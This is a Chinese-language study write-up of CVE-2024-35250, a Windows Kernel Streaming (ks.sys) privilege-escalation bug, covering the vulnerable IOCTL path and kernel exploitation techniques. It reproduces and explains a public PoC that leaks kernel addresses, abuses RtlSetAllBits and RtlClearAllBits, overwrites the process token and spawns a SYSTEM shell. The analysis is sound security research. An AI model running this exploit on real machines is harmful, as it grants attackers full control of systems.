CVE-2024-35250分析 前言 原文链接:https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/
本篇文章只做学习记录,对一些不理解的概念进行了补充
Kernel Streaming简单介绍 Kernel Streaming (KS) 是指 Microsoft 提供的服务,这些服务支持流式处理数据的内核模式处理。
Kernel Streaming 中,提供了三种多媒体驱动模型:port class 、AVStream 和 stream class 。
这些类驱动程序在系统文件 portcls.sys 、stream.sys 和 ks.sys (也称为 AVStream ) 中作为导出驱动程序 (内核模式 DLL) 实现。
大多数用于PCI 和DMA 型音效装置的硬体驱动程式,它处理与音讯相关的数据传输,例如音量控制、麦克风输入等等,主要会使用到的元件函式库会是portcls.sys。
主要介绍port class 和AVStream
Port Class 由微软提供端口驱动(Port Driver),处理通用音频功能(如混音、格式转换)。硬件厂商只需实现微型端口驱动(Miniport Driver),专注于硬件控制。
AVStream 适用于视频采集、流媒体处理(如摄像头、视频捕获卡)
取代了旧版 KS(Kernel Streaming) 框架,提供更现代的驱动模型。
支持即插即用(PnP)、电源管理,简化了过滤器(Filter)和管脚(Pin)的实现。
设备交互 在我们想要与音频设备和视讯镜头等设备交互时,我们可以通过CreateFile函数开启一个设备,那么这类型的设备,不会像是\Devcie\NamedPipe
这类型的名称,而是会像下面这样的路径:
1 \\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6 &2f 1f346a&0 &0002 &0000001 d#{6994 ad04-93 ef-11 d0-a3cc-00 a0c9223196}\ehdmiouttopo
路径前缀\\?\
Windows 中一个特殊的路径前缀,用于指示系统将后面的路径视为一个“原始设备路径”或“长路径”。它绕过了通常的路径解析限制 (例如,260个字符的MAX_PATH限制)和某些文件系统解析规则。
设备类型标识
hdaudio
:表示设备为 高清音频控制器 (如 Intel HD Audio)
类似还有:
usb#vid_xxxx&pid_xxxx
(USB 摄像头)
pci#ven_xxxx&dev_xxxx
(PCI 视频采集卡)
subfunc_01代表一个特殊的功能
硬件标识符
ven_8086
:厂商 ID
dev_2812
:设备型号
nid_0001
:节点 ID
GUID 部分
{6994ad04-93ef-11d0-a3cc-00a0c9223196}
:Windows 定义的设备接口类 GUID(此处是 KSCATEGORY_AUDIO ,表示音频设备)
其他常见 GUID:
摄像头:{65E8773D-8F56-11D0-A3B9-00A0C9223196}
视频采集:{53172480-4791-11D0-A5D6-28DB04C10000}
功能端点
ehdmiouttopo
:表示设备的特定功能端点(此处是 HDMI 音频输出拓扑)
枚举设备(Enumerate device) 由于硬件配置、厂商 ID、设备实例 ID 等差异,音频/视频设备的路径(如 \\?\hdaudio#...
)是动态生成的,不能硬编码 在代码中
要使用 Windows 提供的设备管理 API(如 SetupDi*
系列函数)动态获取设备路径
SetupDi*
系列核心api
**SetupDiGetClassDevs
**获取指定设备类别(如音频、摄像头)的所有设备列表。
参数:
ClassGuid
:设备类别的 GUID(如 KSCATEGORY_AUDIO
)。
Flags
:控制枚举范围(如 DIGCF_PRESENT
只枚举当前连接的设备)。
**SetupDiEnumDeviceInterfaces
**遍历设备列表,获取每个设备的接口信息(包括设备路径)。
**SetupDiGetDeviceInterfaceDetail
**获取设备的详细路径(即 \\?\hdaudio#...
格式的字符串)。
也可以使用KS 所提供的KsOpenDefaultDevice 获得指定PnP类别的第一个设备的Handle,实际上来说也只是SetupDiGetClassDevs
和CreateFile
的封装而已。
1 2 3 4 5 KSDDKAPI HRESULT KsOpenDefaultDevice ( [in] REFGUID Category, [in] ACCESS_MASK Access, [out] PHANDLE DeviceHandle ) ;
1 2 3 4 5 6 7 8 9 #include <Ks.h> #include <KsMedia.h> HANDLE g_hDevice; HRESULT hr = KsOpenDefaultDevice ( KSCATEGORY_VIDEO_CAMERA, GENERIC_READ | GENERIC_WRITE, &g_hDevice );
内核流对象(Kernel Streaming object) Kernel Streaming 会在Kernel 中建立一些相关的Instance(实例),其中最为重要的就是KS Filters 及KS Pins 。
KS filters 每个KS过滤器通常代表一个物理设备或设备的特定功能模(不仅限于物理设备,也可以用于虚拟设备或软件层面的处理), 作为数据处理的中心枢纽,所有流数据都要通过过滤器进行处理
例如: 打开音频设备后会对应到一个音频过滤器,过滤器可能由多个节点组成,节点对流数据进行处理。音频过滤器通常会处理音频数据流,但它可能包含多个子功能(如解码、编码、效果处理 等)
概念上如下图所示,中间的大框表示一个代表音讯设备的KS filter。而我们想要从音讯设备中读取资料时,会从左边读入Filter,经过几个节点进行处理后,从右边输出。
KS pins 作为过滤器的数据输入/输出端点, 必须通过Pin实例才能对Filter进行数据读写操作
主要作用有: 明确区分输入端和输出端, 定义支持的数据格式和传输特性, 控制数据流的方向和行为
KS Property(属性管理系统) 每个KS Object都有自己的KS Property,每个Property都会有相对应的功能,前面所提到的Pin 中的数据格式、音量大小及设备的状态等等,通常会对应到一组GUID,我们可以透过IOCTL_KS_PROPERTY 来读取或设定这些Property
例子 例如应用程序从视频摄像头读取数据的流程大致如下图
其最简单的流程大概如这张图所示 :
开启设备后获得设备Handle
使用这个Handle 在这个Filter 上建立Pin 的Instance 并获得Pin handle
使用IOCTL_KS_PROPERTY 设置Pin 的状态到RUN
最后就可以使用 IOCTL_KS_READ_STREAM 从这个Pin 中读资料进来
内核流式传输架构 (Kernel Streaming architecture) 整个内核流式传输架构大致如下图
在Kernel Stearming 元件中,最为核心的就是ksthunk.sys 及ks.sys,几乎所有功能都会与它们有关。
ksthunk 内核流式 WOW Thunk 服务驱动程序
在调用 DeviceIoControl 应用后,在 Kernel Streaming 的入口点 ,但它功能很简单,负责将 WoW64 进程中的 32 位请求转换成 64 位请求,使得下层的驱动就不必为 32 位结构另外处理。
ksthunk.sys
是一个专门为多媒体(Kernel Streaming)设计的“翻译层”驱动。它作为中间人,将来自老旧32位应用程序的请求转换为现代64位驱动能够理解的格式,从而实现了完美的向后兼容性
ks 内核连接和流架构库
内核流媒体的核心组件之一,它是内核流媒体的库函数,负责转发 IOCTL_KS_PROPERTY 等请求到对应设备的驱动程序中,同时也会负责处理 AVStream 的相关功能。
IOCTL_KS_* 的工作流程 当调用DeviceIoControl时,就会像下图一样,将使用者的request按照顺序发给相应的driver处理
而到第 6 步时 ks.sys 就会根据你 requests 的 Property 来決定要交给哪个 driver 及 handler 來处理你的 request。
最终再转发给相应的driver(驱动程序),如上图最后转发给 portcls 中的 handler 来操作音频设备
前置知识 PreviousMode 其有两种可能**UserMode(0)
和 KernelMode(1)
**, 该值会影响内核是否启用某些操作来保障安全性
调用方式
PreviousMode 设置
说明
用户模式应用调用 NtXxx
自动设为 UserMode
系统调用陷阱处理程序(如 syscall
/ sysenter
)会设置 PreviousMode = UserMode
。
内核驱动调用NtXxx
保持调用线程的原有值
如果线程原本是用户模式调用链的一部分,PreviousMode
可能仍是 UserMode
,导致错误。
内核驱动调用 ZwXxx
强制设为 KernelMode
ZwXxx
是 NtXxx
的包装器,会临时覆盖 PreviousMode
为 KernelMode
,避免安全检查。
RequestorMode 另外一个类似的则是 IRP 中的 RequestorMode 这边就是记录你原始的 requests 是来自 UserMode 还是 KernelMode,在 Kernel driver 中的代码是非常常用到的字段,通常会来自 PreviousMode。
在内核驱动中,常常会用到这个字段决定是否需要对用户的requests做一些额外的安全检查
即如果用户态发送IRP请求进入内核态后调用了Zw*
函数, 而Zw\*
函数本身又发起了一个IRP请求
此时PreviousMode已经变为KernelMode, 但是后来发起的IRP请求却依然可能包含有用户传递的内容, 从而使用户的请求规避了某些安全检查
事实上确实出现了这种问题:
如果调用方提供了InputBuffer 或OutputBuffer 参数,该参数必须指向驻留在系统内存中的缓冲区。调用方需负责验证从用户模式缓冲区复制到输入缓冲区的所有参数值。输入缓冲区可能包含根据请求发起者是用户模式应用程序还是内核模式驱动程序而不同解释的参数值。在IoBuildDeviceIoControlRequest 返回的IRP中,RequestorMode 字段始终设置为KernelMode 。该值表明请求及请求中包含的任何信息均来自可信的内核模式组件。
也就是默认情况下,使用 IoBuildDeviceIoControlRequest 这个方法去创建一个 DeviceIoControl 的 IRP 时,如果你没有特别去设置 RequestorMode 就会直接以 KernelMode 形式去呼叫 IOCTL。
这个 API 主要是 Kernel driver 用来呼叫 IOCTL 的其中一种方法
漏洞分析 1 2 3 4 5 6 7 8 9 NTSTATUS __stdcall KsSynchronousIoControlDevice ( PFILE_OBJECT FileObject, KPROCESSOR_MODE RequestorMode, ULONG IoControl, PVOID InBuffer, ULONG InSize, PVOID OutBuffer, ULONG OutSize, PULONG BytesReturned)
在ks!KsSynchronousIoControlDevice 函数中,先调用了IoBuildDeviceIoControlRequest ,然后根据参数设置Irp->RequestorMode,且会根据 KsSynchronousIoControlDevice 参数不同而去设置不同的数值
然而几乎所有调用 ks!KsSynchronousIoControlDevice 函数的地方,第二个参数总是设置为KernelMode(0),这就导致了可能存在的安全问题
因此我们将 Kernel Streaming 中的 bug pattern 转换成下列几点:
有使用 KsSynchronousIoControlDevice
有可控的
第二次处理 IOCTL 的地方有依赖 RequestorMode 做安全检查,并且有可以作为提权利用的地方。 (这个条件说明在原本第二次处理 IOCTL 的时候,如果不做检查,就会有可能的安全问题)
可以发现,在ks!SerializePropertySet 和ks!UnserializePropertySet 中都有:(22H2)
在 Kernel Streaming 的 IOCTL_KS_PROPERTY
功能中,为了提高效率
提供了 KSPROPERTY_TYPE_SERIALIZESET
和 KSPROPERTY_TYPE_UNSERIALIZESET
功能允许用户通过 单次调用 与多个 Property 进行操作。
当我们用这功能时,这些 requests 将被 KsPropertyHandler 函数分解成多个呼叫
KSPROPERTY_TYPE_SERIALIZESET 和 KSPROPERTY_TYPE_UNSERIALIZESET 请求允许通过客户端的一次调用与多个属性进行交互。如果内核流式处理程序用于处理属性请求,则这些请求将由 KsPropertyHandler 函数分解为多个调用。使用此处理程序时,属性集定义控制要序列化哪些属性。
根据文章,我们可以定位到ks!KsPropertyHandler ->ks!UnserializePropertySet 的漏洞调用链,让我们分析一下
ks!UnserializePropertySet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 .........; v5 = *(_QWORD *)(a1 + 24 ); v6 = *(_QWORD *)(a1 + 184 ); .........; v10 = (char *)(v5 + 20 ); .........; OutBuffer = v10 + 32 ; .........; memmove (PoolWithTag, *(const void **)(v6 + 0x20 ), InSize); PoolWithTag[5 ] = 2 ; v9 = *(_DWORD *)(v5 + 16 ); v10 = (char *)(v5 + 20 ); v11 = v7 - 20 ; v12 = BytesReturned; while ( v11 && v9 ) { if ( v11 < 0x20 ) goto LABEL_23; v13 = v10; if ( *((_DWORD *)v10 + 5 ) ) goto LABEL_22; PoolWithTag[4 ] = *((_DWORD *)v10 + 6 ); v14 = v11 - 32 ; OutBuffer = v10 + 32 ; OutSize = *((_DWORD *)v13 + 7 ); if ( OutSize > v14 ) goto LABEL_23; v17 = KsSynchronousIoControlDevice ( *(PFILE_OBJECT *)(v12 + 48 ), 0 , *(_DWORD *)(v12 + 24 ), PoolWithTag, InSize, OutBuffer, OutSize, (PULONG)&BytesReturned);
可以看到*(const void **)(v6 + 0x20)
[1]和OutBuffer
[2]都是从参数a1进行偏移得到的
1 return UnserializePropertySet ((__int64)Irp, v21, v7);
而调用的时候的参数a1是Irp
Irp的符号是_IRP
,找到对应的结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 struct _IRP { SHORT Type; USHORT Size; USHORT AllocationProcessorNumber; USHORT Reserved; struct _MDL * MdlAddress; ULONG Flags; union { struct _IRP * MasterIrp; LONG IrpCount; VOID* SystemBuffer; } AssociatedIrp; struct _LIST_ENTRY ThreadListEntry; struct _IO_STATUS_BLOCK IoStatus; CHAR RequestorMode; UCHAR PendingReturned; CHAR StackCount; CHAR CurrentLocation; UCHAR Cancel; UCHAR CancelIrql; CHAR ApcEnvironment; UCHAR AllocationFlags; struct _IO_STATUS_BLOCK * UserIosb; struct _KEVENT * UserEvent; union { struct { union { VOID (*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); VOID* IssuingProcess; }; VOID* UserApcContext; } AsynchronousParameters; union _LARGE_INTEGER AllocationSize; } Overlay; VOID (*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); VOID* UserBuffer; union { struct { union { struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; VOID* DriverContext[4 ]; }; struct _ETHREAD * Thread; CHAR* AuxiliaryBuffer; struct _LIST_ENTRY ListEntry; union { struct _IO_STACK_LOCATION * CurrentStackLocation; ULONG PacketType; }; struct _FILE_OBJECT * OriginalFileObject; VOID* IrpExtension; } Overlay; struct _KAPC Apc; VOID* CompletionKey; } Tail; };
v6 = *(_QWORD *)(Irp + 0xB8);
对应_IRP->CurrentStackLocation
而*(const void **)(v6 + 0x20)
对应_IRP->CurrentStackLocation->DeviceIoControl->Type3InputBuffer
,这个参数是用户可控的
但是其实对应到0x20的还有几个成员,估计得之后分析才能解决为什么是对应这个的问题了,我认为是因为本身这个函数操纵的就是device相关的,因此可以认定就是有关 DeviceIoControl 的成员
而经过我的分析OutBuffer
就是_IO_STATUS_BLOCK->Pointer
,也是来自于用户的Irp请求,现在就要看用户能控制Irp请求到什么level了
而调用 UnserializePropertySet 时的流程,大概如下图所示 :
第一次 IOCTL 时可以看到图中第 2 步 I/O Manager 会将 Irp->RequestorMode
设成 UserMode(1),直到第 6 步时,ks 会去判断用户 requests 的 Property 是否存在于该 KS Object 中,如果该 KS Object 的 Property 存在 ,并且 KSPROPERTY_TYPE_UNSERIALIZESET
就会用 UnserializePropertySet
来处理指定的 Property
而接下来第 7 步就会呼叫 KsSynchronousIoControlDevice 重新做一次 IOCTL,而此时新的 Irp->RequestorMode
就变成了 KernelMode(0) 了,而后续的处理就如一般的 IOCTL_KS_PROPERTY 相同
接下来就看怎么调用到UnserializePropertySet
了
ksthunk!CKSThunkDevice::DispatchIoctl 最先看到的想必就是入口点 ksthunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall CKSThunkDevice::DispatchIoctl (CKernelFilterDevice *a1, IRP *a2, unsigned int a3, int *a4) { struct _IO_STACK_LOCATION *CurrentStackLocation; struct CKernelFilterFile *v9; __int64 v11; __int64 v12; CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v9 = CKernelFilterDevice::FileObjectToFilterFile (a1, a2); if ( v9 ) return (*(__int64 (__fastcall **)(struct CKernelFilterFile *, IRP *, _QWORD, int *))(*(_QWORD *)v9 + 40LL ))( v9, a2, a3, a4); if ( IoIs32bitProcess (a2) && a2->RequestorMode ) { if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080195 ) return CKSAutomationThunk::ThunkPropertyIrp ((char *)a1 + 64 , a2, v11, a4); v12 = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart - 3080199 ; if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080199 ) return CKSAutomationThunk::ThunkEnableEventIrp (v12, a2, v11, a4); if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080203 ) return CKSAutomationThunk::ThunkDisableEventIrp (v12, a2, v11, a4); } else if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 0x2F0003 ) { return CKSThunkDevice::CheckIrpForStackAdjustmentNative ((__int64)a1, a2, v11, a4); } return 1LL ; }
如果是64位的请求,会执行CKSThunkDevice::CheckIrpForStackAdjustmentNative
函数
而在该函数中存在一个对RequestorMode的检查,如果是UserMode访问,会直接返回一个Error代码,但是因为上述分析的第二次IOCTL的处理是KernelMode的,会直接将我们输入的内容作为函数处理,并且第一个参数是可控的
常见的EoP方法 替换token 用System token 取代当前的Process token
系统上运行的每个进程都有其相应的 _EPROCESS
内核结构
_EPROCESS
结构包含指向描述进程安全上下文的 _TOKEN
内存结构的指针
内核漏洞利用找到低特权进程的 _TOKEN
结构的地址 - 它想要从中升级的进程
内核漏洞利用查找特权进程的 _TOKEN
结构的地址,以 NT\SYSTEM
形式运行
内核漏洞利用将低特权进程的令牌替换为高特权令牌
在win11中,_EX_FAST_REF
是Token的结构体:
1 2 3 4 5 6 7 8 9 10 struct _EX_FAST_REF { union { VOID* Object; ULONGLONG RefCnt:4 ; ULONGLONG Value; }; };
这里RefCnt是引用计数,占最后四个bit,例如0x7FFF FFFF,则真正的token是0x7FFF FFF0,然后0xF是引用的次数
修改token权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 struct _TOKEN { struct _TOKEN_SOURCE TokenSource; struct _LUID TokenId; struct _LUID AuthenticationId; struct _LUID ParentTokenId; union _LARGE_INTEGER ExpirationTime; struct _ERESOURCE * TokenLock; struct _LUID ModifiedId; struct _SEP_TOKEN_PRIVILEGES Privileges; struct _SEP_AUDIT_POLICY AuditPolicy; ULONG SessionId; ULONG UserAndGroupCount; ULONG RestrictedSidCount; ULONG VariableLength; ULONG DynamicCharged; ULONG DynamicAvailable; ULONG DefaultOwnerIndex; struct _SID_AND_ATTRIBUTES * UserAndGroups; struct _SID_AND_ATTRIBUTES * RestrictedSids; VOID* PrimaryGroup; ULONG* DynamicPart; struct _ACL * DefaultDacl; enum _TOKEN_TYPE TokenType; enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; ULONG TokenFlags; UCHAR TokenInUse; ULONG IntegrityLevelIndex; ULONG MandatoryPolicy; struct _SEP_LOGON_SESSION_REFERENCES * LogonSession; struct _LUID OriginatingLogonSession; struct _SID_AND_ATTRIBUTES_HASH SidHash; struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION * pSecurityAttributes; VOID* Package; struct _SID_AND_ATTRIBUTES * Capabilities; ULONG CapabilityCount; struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; struct _SEP_LOWBOX_NUMBER_ENTRY * LowboxNumberEntry; struct _SEP_CACHED_HANDLES_ENTRY * LowboxHandlesEntry; struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION * pClaimAttributes; VOID* TrustLevelSid; struct _TOKEN * TrustLinkedToken; VOID* IntegrityLevelSidValue; struct _SEP_SID_VALUES_BLOCK * TokenSidValues; struct _SEP_LUID_TO_INDEX_MAP_ENTRY * IndexEntry; struct _SEP_TOKEN_DIAG_TRACK_ENTRY * DiagnosticInfo; struct _SEP_CACHED_HANDLES_ENTRY * BnoIsolationHandlesEntry; VOID* SessionObject; ULONGLONG VariablePart; };
其中
1 struct _SEP_TOKEN_PRIVILEGES Privileges;
这个结构体显示了哪些权限disable,哪些权限enable
1 2 3 4 5 6 7 struct _SEP_TOKEN_PRIVILEGES { ULONGLONG Present; ULONGLONG Enabled; ULONGLONG EnabledByDefault; };
将 SYSTEM 的 Present 赋给 任意一个进程的 Present ,就成功 SYSTEM 了
bypass保护机制 那么接下来就是需要bypass一些保护机制:kCFG、kASLR、SMEP 等等保护
**内核地址随机化(KASLR)**:Windows 定义了四个完整性级别:低、中、高和SYSTEM,在中等性完整度级别下,可以通过使用众所周知的EnumDeviceDrivers 和NtQuerySystemInformation API,轻易饶过KASLR
SMEP :不允许ring0执行ring3的代码,但是可以通过使用内核模式ROP gadget在内核中执行 或者 将shellcode的指针传入内核模式中,然后内核在内核的上下文中执行用户模式的代码(shellcode)
因此在中等性完整度级别下(ring2),最需要考虑的是kCFG
kCFG 中合法的function 名称有set 的function,比较可能是可以写入的。我们这里是直接拿ntoskrnl.exe 中 export fucntion 去寻找看看是否有合法的function,这些大多情况下都是合法的。
在ntoskrnl.exe下的RtlSetAllBits函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void __stdcall RtlSetAllBits (PRTL_BITMAP BitMapHeader) { unsigned int *Buffer; unsigned __int64 v2; Buffer = BitMapHeader->Buffer; v2 = (unsigned __int64)(4 * (((BitMapHeader->SizeOfBitMap & 0x1F ) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5 ))) >> 2 ; if ( v2 ) { if ( ((unsigned __int8)Buffer & 4 ) != 0 ) { *Buffer = -1 ; if ( !--v2 ) return ; ++Buffer; } memset (Buffer, 0xFF u, 8 * (v2 >> 1 )); if ( (v2 & 1 ) != 0 ) Buffer[v2 - 1 ] = -1 ; } }
它是个非常好用的gadget 而且是kCFG 中合法的function,另外也只要控制一个参数_RTL_BITMAP
1 2 3 4 5 struct _RTL_BITMAP { ULONG SizeOfBitMap; ULONG* Buffer; };
我们可将Buffer 指定到任意位置并指定大小,就可以将一段范围的bits 全部设置起来,到这边就差不多结束了,只要将Token->Privilege
全部设置起来,就可以利用Abuse Privilege 方法来做到EoP 了
下述PoC中还有一种利用方式,首先利用RtlClearAllBits
将当前线程的PreviousMode
设置为KernelMode
,然后利用任意写的能力,直接替换当前进程的TOKEN为System进程的TOKEN,达到提权的目的
PoC 网上已经有了公开的poc,让我们分析一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 #define __STREAMS__ #define _INC_MMREG #define _PREVIOUS_MODE 0xbaba #include "common.h" #pragma comment(lib, "Ksproxy.lib" ) #pragma comment(lib, "ksuser.lib" ) #pragma comment(lib, "ntdllp.lib" ) #pragma comment(lib, "SetupAPI.lib" ) #pragma comment(lib, "Advapi32.lib" ) int main () { HANDLE hDevice = NULL ; BOOL res = FALSE; NTSTATUS status = 0 ; uint32_t Ret = 0 ; hDevice = GetKsDevice (KSCATEGORY_DRM_DESCRAMBLE); #ifdef _SEP_TOKEN_PRIVILEGES HANDLE hToken; uint64_t ktoken_obj = 0 ; res = OpenProcessToken (GetCurrentProcess (), TOKEN_ALL_ACCESS, &hToken); if (!res) { printf ("[-] Failed to open current process token\n" ); return res; } res = GetObjPtr (&ktoken_obj, GetCurrentProcessId (), hToken); if (res != NULL ) { return -1 ; } printf ("[+] Current process TOKEN address = %llx\n" , ktoken_obj); #elif defined _PREVIOUS_MODE uint64_t Sysproc = 0 ; uint64_t Curproc = 0 ; uint64_t Curthread = 0 ; HANDLE hCurproc = 0 ; HANDLE hThread = 0 ; Ret = GetObjPtr (&Sysproc, 4 , (HANDLE)4 ); if (Ret != NULL ) { return Ret; } printf ("[+] System EPROCESS address: %llx\n" , Sysproc); hThread = OpenThread (THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId ()); if (hThread != NULL ) { Ret = GetObjPtr (&Curthread, GetCurrentProcessId (), hThread); if (Ret != NULL ) { return Ret; } printf ("[+] Current KTHREAD address: %llx\n" , Curthread); } hCurproc = OpenProcess (PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId ()); if (hCurproc != NULL ) { Ret = GetObjPtr (&Curproc, GetCurrentProcessId (), hCurproc); if (Ret != NULL ) { return Ret; } printf ("[+] Current EPROCESS address: %llx\n" , Curproc); } #endif pInBufProperty->Set = KSPROPSETID_DrmAudioStream; pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; pInBufProperty->Id = 0x0 ; pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream; pSerialHdr->Count = 0x1 ; pSerial->PropertyLength = sizeof (EXPLOIT_DATA1); pSerial->Id = 0x0 ; pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream; pSerial->PropTypeSet.Flags = 0x0 ; pSerial->PropTypeSet.Id = 0x45 ; uint64_t ntoskrnl_user_base = 0 ; HMODULE outModule = 0 ; UINT_PTR ntoskrnlBase = GetKernelModuleAddress ("ntoskrnl.exe" ); printf ("[+] ntoskrnl.exe base address = %llx\n" , ntoskrnlBase); pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap (sizeof (RTL_BITMAP), Ptr64 (0x10000000 )); #ifdef _SEP_TOKEN_PRIVILEGES pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4 ; pOutBufPropertyData->FakeBitmap->Buffer = Ptr64 (ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64 (leak_gadget_address ("RtlSetAllBits" )); printf ("[!] RtlSetAllBits kernel address = %p\n" , pInBufPropertyData->ptr_ArbitraryFunCall); #elif defined _PREVIOUS_MODE pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 ; pOutBufPropertyData->FakeBitmap->Buffer = Ptr64 (Curthread + PREV_MODE_WIN_11_22H2_22621); pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64 (leak_gadget_address ("RtlClearAllBits" )); printf ("[!] RtlClearAllBits kernel address = %p\n" , pInBufPropertyData->ptr_ArbitraryFunCall); #endif res = SendIoctlReq (hDevice); if (!res) { printf ("[-] SendIoctlReq failed\n" ); } #ifdef _SEP_TOKEN_PRIVILEGES HANDLE hWinLogon = OpenProcess (PROCESS_ALL_ACCESS, 0 , GetPidByName (L"winlogon.exe" )); if (!hWinLogon) { printf ("[-] OpenProcess failed with error = %lx\n" , GetLastError ()); return FALSE; } CreateProcessFromHandle (hWinLogon, (LPSTR)"cmd.exe" ); return TRUE; #elif defined _PREVIOUS_MODE printf ("[!] Leveraging DKOM to achieve LPE\n" ); printf ("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n" ); KPROCESSOR_MODE mode = UserMode; Write64 (Ptr64 (Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), Ptr64 (Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), TOKEN_SIZE); Write64 (Ptr64 (Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof (mode)); system ("cmd.exe" ); #endif return 0 ; }
PoC执行流程的详细分析 1 2 3 4 5 6 7 8 9 10 #define _PREVIOUS_MODE 0xbaba #pragma comment(lib, "Ksproxy.lib" ) #pragma comment(lib, "ksuser.lib" ) #pragma comment(lib, "ntdllp.lib" ) #pragma comment(lib, "SetupAPI.lib" ) #pragma comment(lib, "Advapi32.lib" )
设备获取和地址泄露 1 2 hDevice = GetKsDevice (KSCATEGORY_DRM_DESCRAMBLE);
该函数通过KSCATEGORY_DRM_DESCRAMBLE
GUID获取DRM解扰设备的句柄。这是利用Kernel Streaming漏洞的入口点。
地址泄露阶段(仅_PREVIOUS_MODE模式):
1 2 3 4 5 6 7 8 9 10 11 12 13 Ret = GetObjPtr (&Sysproc, 4 , (HANDLE)4 ); printf ("[+] System EPROCESS address: %llx\n" , Sysproc);hThread = OpenThread (THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId ()); Ret = GetObjPtr (&Curthread, GetCurrentProcessId (), hThread); printf ("[+] Current KTHREAD address: %llx\n" , Curthread);hCurproc = OpenProcess (PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId ()); Ret = GetObjPtr (&Curproc, GetCurrentProcessId (), hCurproc); printf ("[+] Current EPROCESS address: %llx\n" , Curproc);
构造恶意IOCTL请求 输入缓冲区初始化:
1 2 3 pInBufProperty->Set = KSPROPSETID_DrmAudioStream; pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; pInBufProperty->Id = 0x0 ;
输出缓冲区初始化:
1 2 3 4 5 6 7 8 pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream; pSerialHdr->Count = 0x1 ; pSerial->PropertyLength = sizeof (EXPLOIT_DATA1); pSerial->Id = 0x0 ; pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream; pSerial->PropTypeSet.Flags = 0x0 ; pSerial->PropTypeSet.Id = 0x45 ;
构造伪造的RTL_BITMAP结构 获取ntoskrnl.exe基址:
1 2 UINT_PTR ntoskrnlBase = GetKernelModuleAddress ("ntoskrnl.exe" ); printf ("[+] ntoskrnl.exe base address = %llx\n" , ntoskrnlBase);
根据利用模式构造不同的FakeBitmap:
模式1 - TOKEN权限修改:
1 2 3 4 5 #ifdef _SEP_TOKEN_PRIVILEGES pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4 ; pOutBufPropertyData->FakeBitmap->Buffer = Ptr64 (ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64 (leak_gadget_address ("RtlSetAllBits" )); #endif
模式2 - PreviousMode绕过:
1 2 3 4 5 #elif defined _PREVIOUS_MODE pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 ; pOutBufPropertyData->FakeBitmap->Buffer = Ptr64 (Curthread + PREV_MODE_WIN_11_22H2_22621); pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64 (leak_gadget_address ("RtlClearAllBits" )); #endif
触发漏洞 1 res = SendIoctlReq (hDevice);
此函数发送构造的IOCTL请求到KS设备,触发ks!UnserializePropertySet
中的漏洞代码路径
